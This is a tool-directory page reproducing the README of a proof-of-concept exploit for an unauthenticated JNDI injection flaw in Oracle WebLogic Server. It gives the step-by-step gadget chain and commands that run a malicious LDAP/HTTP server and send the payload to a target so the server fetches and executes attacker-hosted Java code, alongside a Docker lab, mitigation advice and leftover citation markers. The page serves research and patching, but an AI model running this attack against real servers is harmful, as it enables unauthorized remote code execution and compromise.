Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE — Proof-of-concept exploit for CVE-2024-21182, an unauthenticated JNDI injection leading to remote code execution in Oracle WebLogic Server via T3/IIOP protocols. Includes a Docker lab for testing. | Kitploit
Tools/GitHubGitHub/fevar54/cve-2024-21182---oracle-weblogic-server-jndi-injection-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubfevar54/cve-2024-21182---oracle-weblogic-server-jndi-injection-rce

CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

Proof-of-concept exploit for CVE-2024-21182, an unauthenticated JNDI injection leading to remote code execution in Oracle WebLogic Server via T3/IIOP protocols. Includes a Docker lab for testing.

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE

CVE-2024-21182 CVSS CISA KEV

📋 Description

CVE-2024-21182 is an unauthenticated JNDI injection vulnerability affecting the Core component of Oracle WebLogic Server. It allows a remote attacker, via T3 or IIOP protocols, to execute arbitrary code (RCE) on the server, potentially gaining full access to all server data[citation:5][citation:8][citation:9].

This repository contains a functional Proof of Concept (PoC) that demonstrates successful exploitation of the CVE-2023-21839 patch via the gadget chain AggregatableOpaqueReference + MessageDestinationReference[citation:2][citation:4].

🚨 Vulnerability Details

AttributeValue
CVECVE-2024-21182
ProductOracle WebLogic Server (Core)
Affected versions12.2.1.4.0 and 14.1.1.0.0[citation:7]
Available patchOracle Critical Patch Update (July 2024 and October 2024)[citation:6]
CISA KEV StatusActive exploitation confirmed (added on 01/06/2026)[citation:3][citation:8]
CISA Mitigation Deadline04/06/2026[citation:8]

Attack Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Network (AV:N): Remotely exploitable
  • Low complexity (AC:L): No special conditions
  • No authentication (PR:N): Anonymous access
  • No user interaction (UI:N): Passive exploitation

⚙️ Attack Phases

Phase 1: Reconnaissance: Identify WebLogic servers with exposed T3/IIOP ports (7001).

Phase 2: Analysis: Determine if the server runs a vulnerable version (12.2.1.4.0 or 14.1.1.0.0) or lacks the October 2024 patch.

Phase 3: Exploitation (technical flow):

  1. Gadget Construction: The attacker creates an AggregatableOpaqueReference object[citation:2].
  2. Reference Injection: Using Java reflection, the private field referent of the previous object is modified to point to a malicious MessageDestinationReference[citation:4].
  3. Bind and Lookup: The malicious object is bound (bind) in the server's JNDI tree and then looked up (lookup).
  4. JNDI Resolution: When the object is looked up, the server executes a new JNDI query against the attacker-controlled URL (LDAP server).
  5. LDAP Server: Responds with a reference to Java code hosted on the attacker's HTTP server.
  6. Code Execution: The WebLogic server downloads and instantiates the Java class, executing its content in the context of the victim machine.

🛠️ Prerequisites

  • Docker and Docker Compose: For the isolated test environment[citation:2].
  • JDK 8 or higher: To compile and run the T3 client.
  • WebLogic T3 Client: wlthint3client.jar (can be extracted from a WebLogic installation).

🚀 PoC Usage

Laboratory Environment (Docker)

root@kitploit:~
# 1. Clone the repository
git clone https://github.com/tu-usuario/CVE-2024-21182.git
cd CVE-2024-21182

# 2. Start the lab (victim + attacker)
docker-compose up -d

# 3. Run the automatic exploitation
./validate.sh

Exploitation against a real (authorized) target

root@kitploit:~
# 1. Start the malicious LDAP/HTTP server
python3 exploit/ldap_server.py

# 2. In another terminal, execute the Java payload
javac -cp ".:wlthint3client.jar" poc/CVE_2024_21182.java
java -cp ".:wlthint3client.jar" CVE_2024_21182 t3://<TARGET_IP>:7001 ldap://<ATTACKER_IP>:1389/Evil

📊 Demonstrated Impact

  • Remote command execution (RCE) on the server
  • Unauthorized access to critical application data
  • Full compromise of the application server
  • Potential entry point for lateral movement within the corporate network
  • Foundation for deploying ransomware or other malicious payloads

Current status according to CISA: "Known To Be Used in Ransomware Campaigns? Unknown" (But typically yes, RCE in middleware is an initial vector in ransomware intrusions).

🛡️ Mitigation

  • Patch immediately: Apply the Oracle Critical Patch Update of October 2024 or later.
  • Network restriction: Block/limit access to T3/IIOP ports (e.g., 7001) to trusted sources only.
  • Monitoring: Detect unusual bind/lookup attempts in the JNDI tree.

⚠️ Legal Disclaimer

This code is for educational and research purposes only. Misuse of this PoC against systems without express authorization is illegal. The author is not responsible for any misuse of this information.

📚 References

  • NVD - CVE-2024-21182
  • CISA KEV Catalog
  • Oracle Security Advisory
  • Original technical analysis

🤝 Credits

  • Original researcher who discovered the gadget chain
  • dinosn for the reproducible Docker lab
Download Tool